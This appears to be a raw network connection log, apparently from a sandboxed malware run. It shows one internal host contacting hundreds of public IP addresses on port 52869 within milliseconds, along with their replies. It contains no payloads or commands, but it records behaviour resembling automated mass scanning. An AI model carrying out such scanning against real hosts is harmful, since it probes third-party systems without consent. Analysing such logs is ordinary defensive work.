Jul 20, 2024 23:00:59.554299116 CEST	50566	52869	192.168.2.13	32.61.30.252
Jul 20, 2024 23:00:59.554299116 CEST	50566	52869	192.168.2.13	94.51.76.183
Jul 20, 2024 23:00:59.554299116 CEST	50566	52869	192.168.2.13	59.85.21.147
Jul 20, 2024 23:00:59.554333925 CEST	50566	52869	192.168.2.13	60.69.66.27
Jul 20, 2024 23:00:59.554346085 CEST	50566	52869	192.168.2.13	41.74.147.143
Jul 20, 2024 23:00:59.554346085 CEST	50566	52869	192.168.2.13	50.131.46.205
Jul 20, 2024 23:00:59.554346085 CEST	50566	52869	192.168.2.13	12.21.123.238
Jul 20, 2024 23:00:59.554836035 CEST	50566	52869	192.168.2.13	1.119.11.116
Jul 20, 2024 23:00:59.554836035 CEST	50566	52869	192.168.2.13	173.67.154.250
Jul 20, 2024 23:00:59.554836035 CEST	50566	52869	192.168.2.13	44.198.66.217
Jul 20, 2024 23:00:59.554836035 CEST	50566	52869	192.168.2.13	39.37.190.40
Jul 20, 2024 23:00:59.554836035 CEST	50566	52869	192.168.2.13	150.125.112.214
Jul 20, 2024 23:00:59.554836035 CEST	50566	52869	192.168.2.13	188.242.195.213
Jul 20, 2024 23:00:59.554836988 CEST	50566	52869	192.168.2.13	122.250.208.66
Jul 20, 2024 23:00:59.554836988 CEST	50566	52869	192.168.2.13	193.249.224.19
Jul 20, 2024 23:00:59.555069923 CEST	50566	52869	192.168.2.13	64.88.182.151
Jul 20, 2024 23:00:59.555069923 CEST	50566	52869	192.168.2.13	19.168.22.44
Jul 20, 2024 23:00:59.555069923 CEST	50566	52869	192.168.2.13	152.106.99.93
Jul 20, 2024 23:00:59.555069923 CEST	50566	52869	192.168.2.13	70.213.157.122
Jul 20, 2024 23:00:59.555069923 CEST	50566	52869	192.168.2.13	106.15.164.78
Jul 20, 2024 23:00:59.555069923 CEST	50566	52869	192.168.2.13	157.79.41.139
Jul 20, 2024 23:00:59.555069923 CEST	50566	52869	192.168.2.13	165.44.152.54
Jul 20, 2024 23:00:59.555361986 CEST	50566	52869	192.168.2.13	165.166.7.65
Jul 20, 2024 23:00:59.555361986 CEST	50566	52869	192.168.2.13	181.224.93.180
Jul 20, 2024 23:00:59.555361986 CEST	50566	52869	192.168.2.13	112.190.129.232
Jul 20, 2024 23:00:59.555361986 CEST	50566	52869	192.168.2.13	124.201.145.76
Jul 20, 2024 23:00:59.555361986 CEST	50566	52869	192.168.2.13	185.97.171.80
Jul 20, 2024 23:00:59.555361986 CEST	50566	52869	192.168.2.13	45.193.225.45
Jul 20, 2024 23:00:59.555361986 CEST	50566	52869	192.168.2.13	166.208.150.45
Jul 20, 2024 23:00:59.555361986 CEST	50566	52869	192.168.2.13	146.195.15.75
Jul 20, 2024 23:00:59.555823088 CEST	50566	52869	192.168.2.13	107.239.129.22
Jul 20, 2024 23:00:59.555823088 CEST	50566	52869	192.168.2.13	4.29.10.208
Jul 20, 2024 23:00:59.555823088 CEST	50566	52869	192.168.2.13	135.62.89.123
Jul 20, 2024 23:00:59.555823088 CEST	50566	52869	192.168.2.13	35.89.200.208
Jul 20, 2024 23:00:59.555823088 CEST	50566	52869	192.168.2.13	18.200.62.188
Jul 20, 2024 23:00:59.555823088 CEST	50566	52869	192.168.2.13	123.238.70.228
Jul 20, 2024 23:00:59.555823088 CEST	50566	52869	192.168.2.13	12.45.97.162
Jul 20, 2024 23:00:59.555866003 CEST	50566	52869	192.168.2.13	181.176.199.94
Jul 20, 2024 23:00:59.555866003 CEST	50566	52869	192.168.2.13	183.78.158.44
Jul 20, 2024 23:00:59.555866003 CEST	50566	52869	192.168.2.13	34.138.36.48
Jul 20, 2024 23:00:59.555866003 CEST	50566	52869	192.168.2.13	202.127.253.98
Jul 20, 2024 23:00:59.555866003 CEST	50566	52869	192.168.2.13	166.11.73.219
Jul 20, 2024 23:00:59.555866003 CEST	50566	52869	192.168.2.13	64.97.99.207
Jul 20, 2024 23:00:59.555866957 CEST	50566	52869	192.168.2.13	106.41.168.86
Jul 20, 2024 23:00:59.555866957 CEST	50566	52869	192.168.2.13	111.14.138.181
Jul 20, 2024 23:00:59.556018114 CEST	80	47080	88.187.51.16	192.168.2.13
Jul 20, 2024 23:00:59.556538105 CEST	50566	52869	192.168.2.13	192.165.237.85
Jul 20, 2024 23:00:59.556538105 CEST	50566	52869	192.168.2.13	147.223.212.150
Jul 20, 2024 23:00:59.556538105 CEST	50566	52869	192.168.2.13	25.242.31.204
Jul 20, 2024 23:00:59.556538105 CEST	50566	52869	192.168.2.13	112.146.204.12
Jul 20, 2024 23:00:59.556538105 CEST	50566	52869	192.168.2.13	106.170.44.30
Jul 20, 2024 23:00:59.556538105 CEST	50566	52869	192.168.2.13	103.80.103.9
Jul 20, 2024 23:00:59.556538105 CEST	50566	52869	192.168.2.13	74.246.134.148
Jul 20, 2024 23:00:59.556538105 CEST	50566	52869	192.168.2.13	218.62.83.36
Jul 20, 2024 23:00:59.556952000 CEST	80	37632	88.130.132.206	192.168.2.13
Jul 20, 2024 23:00:59.557288885 CEST	50566	52869	192.168.2.13	18.94.14.95
Jul 20, 2024 23:00:59.557288885 CEST	50566	52869	192.168.2.13	192.19.249.95
Jul 20, 2024 23:00:59.557288885 CEST	50566	52869	192.168.2.13	104.212.220.223
Jul 20, 2024 23:00:59.557288885 CEST	50566	52869	192.168.2.13	175.132.139.121
Jul 20, 2024 23:00:59.557288885 CEST	50566	52869	192.168.2.13	150.37.163.48
Jul 20, 2024 23:00:59.557288885 CEST	50566	52869	192.168.2.13	115.111.113.154
Jul 20, 2024 23:00:59.557288885 CEST	50566	52869	192.168.2.13	183.152.109.59
Jul 20, 2024 23:00:59.557288885 CEST	50566	52869	192.168.2.13	70.233.85.157
Jul 20, 2024 23:00:59.558656931 CEST	80	39244	88.194.170.76	192.168.2.13
Jul 20, 2024 23:00:59.558762074 CEST	50566	52869	192.168.2.13	205.135.53.171
Jul 20, 2024 23:00:59.558762074 CEST	50566	52869	192.168.2.13	134.204.100.27
Jul 20, 2024 23:00:59.558762074 CEST	50566	52869	192.168.2.13	143.116.171.100
Jul 20, 2024 23:00:59.558762074 CEST	50566	52869	192.168.2.13	49.132.161.104
Jul 20, 2024 23:00:59.558762074 CEST	50566	52869	192.168.2.13	221.234.75.243
Jul 20, 2024 23:00:59.558762074 CEST	50566	52869	192.168.2.13	54.14.88.60
Jul 20, 2024 23:00:59.558762074 CEST	50566	52869	192.168.2.13	174.200.240.97
Jul 20, 2024 23:00:59.558762074 CEST	50566	52869	192.168.2.13	9.82.7.36
Jul 20, 2024 23:00:59.558881044 CEST	50566	52869	192.168.2.13	171.134.156.176
Jul 20, 2024 23:00:59.558881044 CEST	50566	52869	192.168.2.13	189.36.89.148
Jul 20, 2024 23:00:59.558881044 CEST	50566	52869	192.168.2.13	2.96.182.150
Jul 20, 2024 23:00:59.558881044 CEST	50566	52869	192.168.2.13	48.116.54.57
Jul 20, 2024 23:00:59.558881044 CEST	50566	52869	192.168.2.13	24.92.154.194
Jul 20, 2024 23:00:59.558881044 CEST	50566	52869	192.168.2.13	14.199.203.228
Jul 20, 2024 23:00:59.558881044 CEST	50566	52869	192.168.2.13	89.250.233.208
Jul 20, 2024 23:00:59.558881044 CEST	50566	52869	192.168.2.13	223.183.168.114
Jul 20, 2024 23:00:59.559294939 CEST	50566	52869	192.168.2.13	160.231.234.14
Jul 20, 2024 23:00:59.559294939 CEST	50566	52869	192.168.2.13	189.138.33.244
Jul 20, 2024 23:00:59.559294939 CEST	50566	52869	192.168.2.13	158.216.237.109
Jul 20, 2024 23:00:59.559295893 CEST	50566	52869	192.168.2.13	104.51.53.32
Jul 20, 2024 23:00:59.559295893 CEST	50566	52869	192.168.2.13	103.135.182.153
Jul 20, 2024 23:00:59.559295893 CEST	50566	52869	192.168.2.13	205.2.96.105
Jul 20, 2024 23:00:59.559295893 CEST	50566	52869	192.168.2.13	222.93.237.70
Jul 20, 2024 23:00:59.559295893 CEST	50566	52869	192.168.2.13	193.121.118.48
Jul 20, 2024 23:00:59.559864044 CEST	50566	52869	192.168.2.13	79.24.224.34
Jul 20, 2024 23:00:59.559864044 CEST	50566	52869	192.168.2.13	117.22.194.194
Jul 20, 2024 23:00:59.559864044 CEST	50566	52869	192.168.2.13	18.1.208.83
Jul 20, 2024 23:00:59.559864044 CEST	50566	52869	192.168.2.13	178.159.103.123
Jul 20, 2024 23:00:59.559864044 CEST	50566	52869	192.168.2.13	104.230.155.170
Jul 20, 2024 23:00:59.559864044 CEST	50566	52869	192.168.2.13	85.233.185.250
Jul 20, 2024 23:00:59.559864998 CEST	50566	52869	192.168.2.13	17.100.225.23
Jul 20, 2024 23:00:59.559864998 CEST	50566	52869	192.168.2.13	178.49.239.29
Jul 20, 2024 23:00:59.560035944 CEST	50566	52869	192.168.2.13	66.222.130.238
Jul 20, 2024 23:00:59.560035944 CEST	50566	52869	192.168.2.13	160.107.13.183
Jul 20, 2024 23:00:59.560035944 CEST	50566	52869	192.168.2.13	64.36.192.223
Jul 20, 2024 23:00:59.560035944 CEST	50566	52869	192.168.2.13	128.118.41.148
Jul 20, 2024 23:00:59.560035944 CEST	50566	52869	192.168.2.13	25.93.40.240
Jul 20, 2024 23:00:59.560035944 CEST	50566	52869	192.168.2.13	81.205.60.255
Jul 20, 2024 23:00:59.560035944 CEST	50566	52869	192.168.2.13	132.163.208.82
Jul 20, 2024 23:00:59.560035944 CEST	50566	52869	192.168.2.13	62.84.215.239
Jul 20, 2024 23:00:59.560693026 CEST	50566	52869	192.168.2.13	211.81.197.171
Jul 20, 2024 23:00:59.560693026 CEST	50566	52869	192.168.2.13	90.101.67.159
Jul 20, 2024 23:00:59.560693026 CEST	50566	52869	192.168.2.13	79.157.198.232
Jul 20, 2024 23:00:59.560693026 CEST	50566	52869	192.168.2.13	149.159.220.10
Jul 20, 2024 23:00:59.560693026 CEST	50566	52869	192.168.2.13	42.0.20.93
Jul 20, 2024 23:00:59.560693026 CEST	50566	52869	192.168.2.13	125.52.0.168
Jul 20, 2024 23:00:59.560693026 CEST	50566	52869	192.168.2.13	37.84.219.125
Jul 20, 2024 23:00:59.560693026 CEST	50566	52869	192.168.2.13	101.129.154.43
Jul 20, 2024 23:00:59.563055038 CEST	50566	52869	192.168.2.13	8.136.6.185
Jul 20, 2024 23:00:59.563055038 CEST	50566	52869	192.168.2.13	100.140.169.223
Jul 20, 2024 23:00:59.563055038 CEST	50566	52869	192.168.2.13	218.17.20.190
Jul 20, 2024 23:00:59.563055038 CEST	50566	52869	192.168.2.13	203.150.144.131
Jul 20, 2024 23:00:59.563055038 CEST	50566	52869	192.168.2.13	171.34.197.233
Jul 20, 2024 23:00:59.563055038 CEST	50566	52869	192.168.2.13	209.201.219.150
Jul 20, 2024 23:00:59.563055038 CEST	50566	52869	192.168.2.13	177.18.162.51
Jul 20, 2024 23:00:59.563055038 CEST	50566	52869	192.168.2.13	111.107.242.28
Jul 20, 2024 23:00:59.563352108 CEST	50566	52869	192.168.2.13	152.198.91.128
Jul 20, 2024 23:00:59.563352108 CEST	50566	52869	192.168.2.13	64.147.0.133
Jul 20, 2024 23:00:59.563352108 CEST	50566	52869	192.168.2.13	57.79.23.111
Jul 20, 2024 23:00:59.563352108 CEST	50566	52869	192.168.2.13	159.166.150.249
Jul 20, 2024 23:00:59.563352108 CEST	50566	52869	192.168.2.13	161.225.125.87
Jul 20, 2024 23:00:59.563352108 CEST	50566	52869	192.168.2.13	54.79.145.235
Jul 20, 2024 23:00:59.563352108 CEST	50566	52869	192.168.2.13	128.72.103.105
Jul 20, 2024 23:00:59.563352108 CEST	50566	52869	192.168.2.13	83.133.77.32
Jul 20, 2024 23:00:59.564551115 CEST	50566	52869	192.168.2.13	139.239.219.1
Jul 20, 2024 23:00:59.564551115 CEST	50566	52869	192.168.2.13	136.223.0.40
Jul 20, 2024 23:00:59.564552069 CEST	50566	52869	192.168.2.13	202.148.194.228
Jul 20, 2024 23:00:59.564552069 CEST	50566	52869	192.168.2.13	149.139.83.79
Jul 20, 2024 23:00:59.564552069 CEST	50566	52869	192.168.2.13	135.229.216.202
Jul 20, 2024 23:00:59.564552069 CEST	50566	52869	192.168.2.13	192.192.98.6
Jul 20, 2024 23:00:59.564552069 CEST	50566	52869	192.168.2.13	207.163.132.50
Jul 20, 2024 23:00:59.564552069 CEST	50566	52869	192.168.2.13	106.10.173.134
Jul 20, 2024 23:00:59.564795971 CEST	50566	52869	192.168.2.13	212.123.218.107
Jul 20, 2024 23:00:59.564795971 CEST	50566	52869	192.168.2.13	135.6.141.10
Jul 20, 2024 23:00:59.564795971 CEST	50566	52869	192.168.2.13	93.63.224.186
Jul 20, 2024 23:00:59.564796925 CEST	50566	52869	192.168.2.13	8.223.250.112
Jul 20, 2024 23:00:59.564796925 CEST	50566	52869	192.168.2.13	97.40.157.127
Jul 20, 2024 23:00:59.564796925 CEST	50566	52869	192.168.2.13	37.194.198.143
Jul 20, 2024 23:00:59.564796925 CEST	50566	52869	192.168.2.13	62.85.199.233
Jul 20, 2024 23:00:59.564796925 CEST	50566	52869	192.168.2.13	122.177.246.239
Jul 20, 2024 23:00:59.565171957 CEST	50566	52869	192.168.2.13	187.210.4.33
Jul 20, 2024 23:00:59.565171957 CEST	50566	52869	192.168.2.13	166.126.173.214
Jul 20, 2024 23:00:59.565171957 CEST	50566	52869	192.168.2.13	75.130.190.239
Jul 20, 2024 23:00:59.565171957 CEST	50566	52869	192.168.2.13	32.131.86.183
Jul 20, 2024 23:00:59.565171957 CEST	50566	52869	192.168.2.13	60.26.177.43
Jul 20, 2024 23:00:59.565171957 CEST	50566	52869	192.168.2.13	219.50.254.113
Jul 20, 2024 23:00:59.565171957 CEST	50566	52869	192.168.2.13	81.106.209.172
Jul 20, 2024 23:00:59.565171957 CEST	50566	52869	192.168.2.13	130.71.202.12
Jul 20, 2024 23:00:59.565330029 CEST	50566	52869	192.168.2.13	57.59.6.30
Jul 20, 2024 23:00:59.565330029 CEST	50566	52869	192.168.2.13	88.82.30.227
Jul 20, 2024 23:00:59.565330029 CEST	50566	52869	192.168.2.13	183.245.192.118
Jul 20, 2024 23:00:59.565330029 CEST	50566	52869	192.168.2.13	119.81.176.163
Jul 20, 2024 23:00:59.565330029 CEST	50566	52869	192.168.2.13	132.207.242.66
Jul 20, 2024 23:00:59.565330029 CEST	50566	52869	192.168.2.13	160.68.255.255
Jul 20, 2024 23:00:59.565330029 CEST	50566	52869	192.168.2.13	199.153.235.69
Jul 20, 2024 23:00:59.565330029 CEST	50566	52869	192.168.2.13	87.27.188.229
Jul 20, 2024 23:00:59.565356016 CEST	80	39588	88.144.85.68	192.168.2.13
Jul 20, 2024 23:00:59.565551043 CEST	80	39488	88.194.170.76	192.168.2.13
Jul 20, 2024 23:00:59.565577030 CEST	52869	50566	205.67.98.173	192.168.2.13
Jul 20, 2024 23:00:59.565598011 CEST	52869	50566	193.187.192.75	192.168.2.13
Jul 20, 2024 23:00:59.565610886 CEST	52869	50566	135.82.236.8	192.168.2.13
Jul 20, 2024 23:00:59.565623999 CEST	52869	50566	41.74.147.143	192.168.2.13
Jul 20, 2024 23:00:59.565638065 CEST	52869	50566	1.6.86.123	192.168.2.13
Jul 20, 2024 23:00:59.565649986 CEST	52869	50566	50.131.46.205	192.168.2.13
Jul 20, 2024 23:00:59.565661907 CEST	52869	50566	96.235.29.144	192.168.2.13
Jul 20, 2024 23:00:59.565674067 CEST	52869	50566	60.69.66.27	192.168.2.13
Jul 20, 2024 23:00:59.565685034 CEST	52869	50566	58.79.2.90	192.168.2.13
Jul 20, 2024 23:00:59.566217899 CEST	52869	50566	62.38.71.222	192.168.2.13
Jul 20, 2024 23:00:59.566241980 CEST	52869	50566	155.72.128.191	192.168.2.13
Jul 20, 2024 23:00:59.566255093 CEST	52869	50566	12.21.123.238	192.168.2.13
Jul 20, 2024 23:00:59.566267014 CEST	52869	50566	32.61.30.252	192.168.2.13
Jul 20, 2024 23:00:59.566281080 CEST	52869	50566	165.166.7.65	192.168.2.13
Jul 20, 2024 23:00:59.566293001 CEST	52869	50566	64.88.182.151	192.168.2.13
Jul 20, 2024 23:00:59.566310883 CEST	52869	50566	181.224.93.180	192.168.2.13
Jul 20, 2024 23:00:59.566323996 CEST	52869	50566	120.15.92.129	192.168.2.13
Jul 20, 2024 23:00:59.566335917 CEST	52869	50566	50.170.13.13	192.168.2.13
Jul 20, 2024 23:00:59.566349030 CEST	52869	50566	112.190.129.232	192.168.2.13
Jul 20, 2024 23:00:59.566359997 CEST	52869	50566	181.176.199.94	192.168.2.13
Jul 20, 2024 23:00:59.566373110 CEST	52869	50566	94.51.76.183	192.168.2.13
Jul 20, 2024 23:00:59.566384077 CEST	52869	50566	124.201.145.76	192.168.2.13
Jul 20, 2024 23:00:59.566395998 CEST	52869	50566	183.78.158.44	192.168.2.13
Jul 20, 2024 23:00:59.566407919 CEST	52869	50566	59.5.94.31	192.168.2.13
Jul 20, 2024 23:00:59.566421032 CEST	52869	50566	59.85.21.147	192.168.2.13
Jul 20, 2024 23:00:59.566433907 CEST	52869	50566	185.97.171.80	192.168.2.13
Jul 20, 2024 23:00:59.566446066 CEST	52869	50566	107.239.129.22	192.168.2.13
Jul 20, 2024 23:00:59.566457033 CEST	52869	50566	19.168.22.44	192.168.2.13
Jul 20, 2024 23:00:59.566468954 CEST	52869	50566	4.29.10.208	192.168.2.13
Jul 20, 2024 23:00:59.566481113 CEST	52869	50566	152.106.99.93	192.168.2.13
Jul 20, 2024 23:00:59.566492081 CEST	52869	50566	100.238.58.140	192.168.2.13
Jul 20, 2024 23:00:59.566503048 CEST	52869	50566	135.62.89.123	192.168.2.13
Jul 20, 2024 23:00:59.566514969 CEST	52869	50566	34.138.36.48	192.168.2.13
Jul 20, 2024 23:00:59.566525936 CEST	52869	50566	70.213.157.122	192.168.2.13
Jul 20, 2024 23:00:59.566538095 CEST	52869	50566	202.127.253.98	192.168.2.13
Jul 20, 2024 23:00:59.566550016 CEST	52869	50566	175.158.109.220	192.168.2.13
Jul 20, 2024 23:00:59.566561937 CEST	52869	50566	106.15.164.78	192.168.2.13
Jul 20, 2024 23:00:59.566649914 CEST	52869	50566	18.94.14.95	192.168.2.13
Jul 20, 2024 23:00:59.566663027 CEST	52869	50566	35.89.200.208	192.168.2.13
Jul 20, 2024 23:00:59.566675901 CEST	52869	50566	166.11.73.219	192.168.2.13
Jul 20, 2024 23:00:59.566755056 CEST	52869	50566	157.79.41.139	192.168.2.13
Jul 20, 2024 23:00:59.566766977 CEST	52869	50566	18.200.62.188	192.168.2.13
Jul 20, 2024 23:00:59.566778898 CEST	52869	50566	192.19.249.95	192.168.2.13
Jul 20, 2024 23:00:59.566914082 CEST	52869	50566	64.97.99.207	192.168.2.13
Jul 20, 2024 23:00:59.566926956 CEST	52869	50566	45.193.225.45	192.168.2.13
Jul 20, 2024 23:00:59.566939116 CEST	52869	50566	104.212.220.223	192.168.2.13
Jul 20, 2024 23:00:59.566951036 CEST	52869	50566	106.41.168.86	192.168.2.13
Jul 20, 2024 23:00:59.566962957 CEST	52869	50566	175.132.139.121	192.168.2.13
Jul 20, 2024 23:00:59.566975117 CEST	52869	50566	1.119.11.116	192.168.2.13
Jul 20, 2024 23:00:59.566987038 CEST	52869	50566	166.208.150.45	192.168.2.13
Jul 20, 2024 23:00:59.566998959 CEST	52869	50566	223.143.201.43	192.168.2.13
Jul 20, 2024 23:00:59.567011118 CEST	52869	50566	150.37.163.48	192.168.2.13
Jul 20, 2024 23:00:59.567023993 CEST	52869	50566	111.14.138.181	192.168.2.13
Jul 20, 2024 23:00:59.567034960 CEST	52869	50566	146.195.15.75	192.168.2.13
Jul 20, 2024 23:00:59.567047119 CEST	52869	50566	205.135.53.171	192.168.2.13
Jul 20, 2024 23:00:59.567059040 CEST	52869	50566	173.67.154.250	192.168.2.13
Jul 20, 2024 23:00:59.567070961 CEST	52869	50566	171.134.156.176	192.168.2.13
Jul 20, 2024 23:00:59.567082882 CEST	52869	50566	165.44.152.54	192.168.2.13
Jul 20, 2024 23:00:59.567095041 CEST	52869	50566	123.238.70.228	192.168.2.13
Jul 20, 2024 23:00:59.567106962 CEST	52869	50566	160.231.234.14	192.168.2.13
Jul 20, 2024 23:00:59.567118883 CEST	52869	50566	192.165.237.85	192.168.2.13
Jul 20, 2024 23:00:59.567137957 CEST	52869	50566	44.198.66.217	192.168.2.13
Jul 20, 2024 23:00:59.567150116 CEST	52869	50566	82.165.155.170	192.168.2.13
Jul 20, 2024 23:00:59.567162037 CEST	52869	50566	134.204.100.27	192.168.2.13
Jul 20, 2024 23:00:59.567173004 CEST	52869	50566	189.138.33.244	192.168.2.13
Jul 20, 2024 23:00:59.567199945 CEST	50566	52869	192.168.2.13	23.113.241.229
Jul 20, 2024 23:00:59.567199945 CEST	50566	52869	192.168.2.13	19.236.44.75
Jul 20, 2024 23:00:59.567199945 CEST	50566	52869	192.168.2.13	200.64.198.138
Jul 20, 2024 23:00:59.567199945 CEST	50566	52869	192.168.2.13	159.84.221.97
Jul 20, 2024 23:00:59.567199945 CEST	50566	52869	192.168.2.13	64.118.165.201
Jul 20, 2024 23:00:59.567199945 CEST	50566	52869	192.168.2.13	108.69.161.226
Jul 20, 2024 23:00:59.567200899 CEST	50566	52869	192.168.2.13	218.5.234.93
Jul 20, 2024 23:00:59.567200899 CEST	50566	52869	192.168.2.13	132.76.186.150
Jul 20, 2024 23:00:59.567262888 CEST	52869	50566	12.45.97.162	192.168.2.13
Jul 20, 2024 23:00:59.567276955 CEST	52869	50566	39.37.190.40	192.168.2.13
Jul 20, 2024 23:00:59.567301989 CEST	52869	50566	143.116.171.100	192.168.2.13
Jul 20, 2024 23:00:59.567317009 CEST	52869	50566	115.111.113.154	192.168.2.13
Jul 20, 2024 23:00:59.567329884 CEST	52869	50566	158.216.237.109	192.168.2.13
Jul 20, 2024 23:00:59.567341089 CEST	52869	50566	183.152.109.59	192.168.2.13
Jul 20, 2024 23:00:59.567449093 CEST	52869	50566	66.222.130.238	192.168.2.13
Jul 20, 2024 23:00:59.567461014 CEST	52869	50566	49.132.161.104	192.168.2.13
Jul 20, 2024 23:00:59.567473888 CEST	52869	50566	70.233.85.157	192.168.2.13
Jul 20, 2024 23:00:59.567486048 CEST	52869	50566	104.51.53.32	192.168.2.13
Jul 20, 2024 23:00:59.567497969 CEST	52869	50566	189.36.89.148	192.168.2.13
Jul 20, 2024 23:00:59.567509890 CEST	52869	50566	160.107.13.183	192.168.2.13
Jul 20, 2024 23:00:59.567522049 CEST	52869	50566	103.135.182.153	192.168.2.13
Jul 20, 2024 23:00:59.567533970 CEST	52869	50566	147.223.212.150	192.168.2.13
Jul 20, 2024 23:00:59.567545891 CEST	52869	50566	150.125.112.214	192.168.2.13
Jul 20, 2024 23:00:59.567558050 CEST	52869	50566	2.96.182.150	192.168.2.13
Jul 20, 2024 23:00:59.567569971 CEST	52869	50566	211.81.197.171	192.168.2.13
Jul 20, 2024 23:00:59.567583084 CEST	52869	50566	221.234.75.243	192.168.2.13
Jul 20, 2024 23:00:59.567595005 CEST	52869	50566	90.101.67.159	192.168.2.13
Jul 20, 2024 23:00:59.567605972 CEST	52869	50566	205.2.96.105	192.168.2.13
Jul 20, 2024 23:00:59.567851067 CEST	52869	50566	54.14.88.60	192.168.2.13
Jul 20, 2024 23:00:59.567863941 CEST	52869	50566	48.116.54.57	192.168.2.13
Jul 20, 2024 23:00:59.568300962 CEST	52869	50566	174.200.240.97	192.168.2.13
Jul 20, 2024 23:00:59.568315029 CEST	52869	50566	64.36.192.223	192.168.2.13
Jul 20, 2024 23:00:59.568326950 CEST	52869	50566	79.24.224.34	192.168.2.13
Jul 20, 2024 23:00:59.568340063 CEST	52869	50566	222.93.237.70	192.168.2.13
Jul 20, 2024 23:00:59.568520069 CEST	52869	50566	128.118.41.148	192.168.2.13
Jul 20, 2024 23:00:59.568531990 CEST	52869	50566	117.22.194.194	192.168.2.13
Jul 20, 2024 23:00:59.568548918 CEST	50566	52869	192.168.2.13	57.216.107.223
Jul 20, 2024 23:00:59.568548918 CEST	50566	52869	192.168.2.13	102.135.192.37
Jul 20, 2024 23:00:59.568548918 CEST	50566	52869	192.168.2.13	195.35.12.96
Jul 20, 2024 23:00:59.568548918 CEST	50566	52869	192.168.2.13	188.236.3.108
Jul 20, 2024 23:00:59.568548918 CEST	50566	52869	192.168.2.13	46.235.126.216
Jul 20, 2024 23:00:59.568548918 CEST	50566	52869	192.168.2.13	219.34.57.118
Jul 20, 2024 23:00:59.568548918 CEST	50566	52869	192.168.2.13	97.17.203.2
Jul 20, 2024 23:00:59.568548918 CEST	50566	52869	192.168.2.13	64.151.74.249
Jul 20, 2024 23:00:59.568567991 CEST	52869	50566	25.93.40.240	192.168.2.13
Jul 20, 2024 23:00:59.568722010 CEST	80	39706	88.245.235.139	192.168.2.13
Jul 20, 2024 23:00:59.568733931 CEST	52869	50566	188.242.195.213	192.168.2.13
Jul 20, 2024 23:00:59.568746090 CEST	52869	50566	24.92.154.194	192.168.2.13
Jul 20, 2024 23:00:59.568758011 CEST	52869	50566	79.157.198.232	192.168.2.13
Jul 20, 2024 23:00:59.569376945 CEST	50566	52869	192.168.2.13	13.192.119.146
Jul 20, 2024 23:00:59.569376945 CEST	50566	52869	192.168.2.13	170.44.121.93
Jul 20, 2024 23:00:59.569376945 CEST	50566	52869	192.168.2.13	152.237.47.163
Jul 20, 2024 23:00:59.569376945 CEST	50566	52869	192.168.2.13	123.30.116.129
Jul 20, 2024 23:00:59.569376945 CEST	50566	52869	192.168.2.13	157.35.115.220
Jul 20, 2024 23:00:59.569376945 CEST	50566	52869	192.168.2.13	207.106.40.137
Jul 20, 2024 23:00:59.569376945 CEST	50566	52869	192.168.2.13	170.45.230.238
Jul 20, 2024 23:00:59.569376945 CEST	50566	52869	192.168.2.13	8.115.57.252
Jul 20, 2024 23:00:59.569521904 CEST	52869	50566	193.121.118.48	192.168.2.13
Jul 20, 2024 23:00:59.569534063 CEST	52869	50566	122.250.208.66	192.168.2.13
Jul 20, 2024 23:00:59.569546938 CEST	52869	50566	25.242.31.204	192.168.2.13
Jul 20, 2024 23:00:59.569869041 CEST	52869	50566	193.249.224.19	192.168.2.13
Jul 20, 2024 23:00:59.569881916 CEST	52869	50566	112.146.204.12	192.168.2.13
Jul 20, 2024 23:00:59.569894075 CEST	52869	50566	152.198.91.128	192.168.2.13
Jul 20, 2024 23:00:59.569905996 CEST	52869	50566	106.170.44.30	192.168.2.13
Jul 20, 2024 23:00:59.569917917 CEST	52869	50566	64.147.0.133	192.168.2.13
Jul 20, 2024 23:00:59.569930077 CEST	52869	50566	103.80.103.9	192.168.2.13
Jul 20, 2024 23:00:59.570194006 CEST	50566	52869	192.168.2.13	34.232.86.205
Jul 20, 2024 23:00:59.570194006 CEST	50566	52869	192.168.2.13	198.220.142.183
Jul 20, 2024 23:00:59.570194006 CEST	50566	52869	192.168.2.13	166.195.11.104
Jul 20, 2024 23:00:59.570194006 CEST	50566	52869	192.168.2.13	1.3.96.229
Jul 20, 2024 23:00:59.570194006 CEST	50566	52869	192.168.2.13	45.192.163.60
Jul 20, 2024 23:00:59.570194006 CEST	50566	52869	192.168.2.13	190.24.218.172
Jul 20, 2024 23:00:59.570194006 CEST	50566	52869	192.168.2.13	102.56.9.25
Jul 20, 2024 23:00:59.570194006 CEST	50566	52869	192.168.2.13	192.124.164.51
Jul 20, 2024 23:00:59.570271015 CEST	52869	50566	14.199.203.228	192.168.2.13
Jul 20, 2024 23:00:59.570285082 CEST	52869	50566	74.246.134.148	192.168.2.13
Jul 20, 2024 23:00:59.570297003 CEST	52869	50566	57.79.23.111	192.168.2.13
Jul 20, 2024 23:00:59.570348024 CEST	52869	50566	81.205.60.255	192.168.2.13
Jul 20, 2024 23:00:59.570360899 CEST	52869	50566	159.166.150.249	192.168.2.13
Jul 20, 2024 23:00:59.570373058 CEST	52869	50566	132.163.208.82	192.168.2.13
Jul 20, 2024 23:00:59.570626974 CEST	50566	52869	192.168.2.13	133.198.116.89
Jul 20, 2024 23:00:59.570626974 CEST	50566	52869	192.168.2.13	77.208.33.230
Jul 20, 2024 23:00:59.570626974 CEST	50566	52869	192.168.2.13	102.81.237.112
Jul 20, 2024 23:00:59.570627928 CEST	50566	52869	192.168.2.13	95.197.97.74
Jul 20, 2024 23:00:59.570627928 CEST	50566	52869	192.168.2.13	42.50.217.244
Jul 20, 2024 23:00:59.570627928 CEST	50566	52869	192.168.2.13	121.63.89.80
Jul 20, 2024 23:00:59.570627928 CEST	50566	52869	192.168.2.13	142.165.33.0
Jul 20, 2024 23:00:59.570627928 CEST	50566	52869	192.168.2.13	159.75.63.50
Jul 20, 2024 23:00:59.570708036 CEST	52869	50566	218.62.83.36	192.168.2.13
Jul 20, 2024 23:00:59.570720911 CEST	52869	50566	89.250.233.208	192.168.2.13
Jul 20, 2024 23:00:59.570733070 CEST	52869	50566	139.239.219.1	192.168.2.13
Jul 20, 2024 23:00:59.570746899 CEST	52869	50566	223.183.168.114	192.168.2.13
Jul 20, 2024 23:00:59.571343899 CEST	50566	52869	192.168.2.13	71.11.243.52
Jul 20, 2024 23:00:59.571343899 CEST	50566	52869	192.168.2.13	205.64.106.197
Jul 20, 2024 23:00:59.571343899 CEST	50566	52869	192.168.2.13	210.64.85.28
Jul 20, 2024 23:00:59.571345091 CEST	50566	52869	192.168.2.13	61.189.251.247
Jul 20, 2024 23:00:59.571345091 CEST	50566	52869	192.168.2.13	174.109.132.218
Jul 20, 2024 23:00:59.571345091 CEST	50566	52869	192.168.2.13	160.90.186.174
Jul 20, 2024 23:00:59.571345091 CEST	50566	52869	192.168.2.13	204.133.134.183
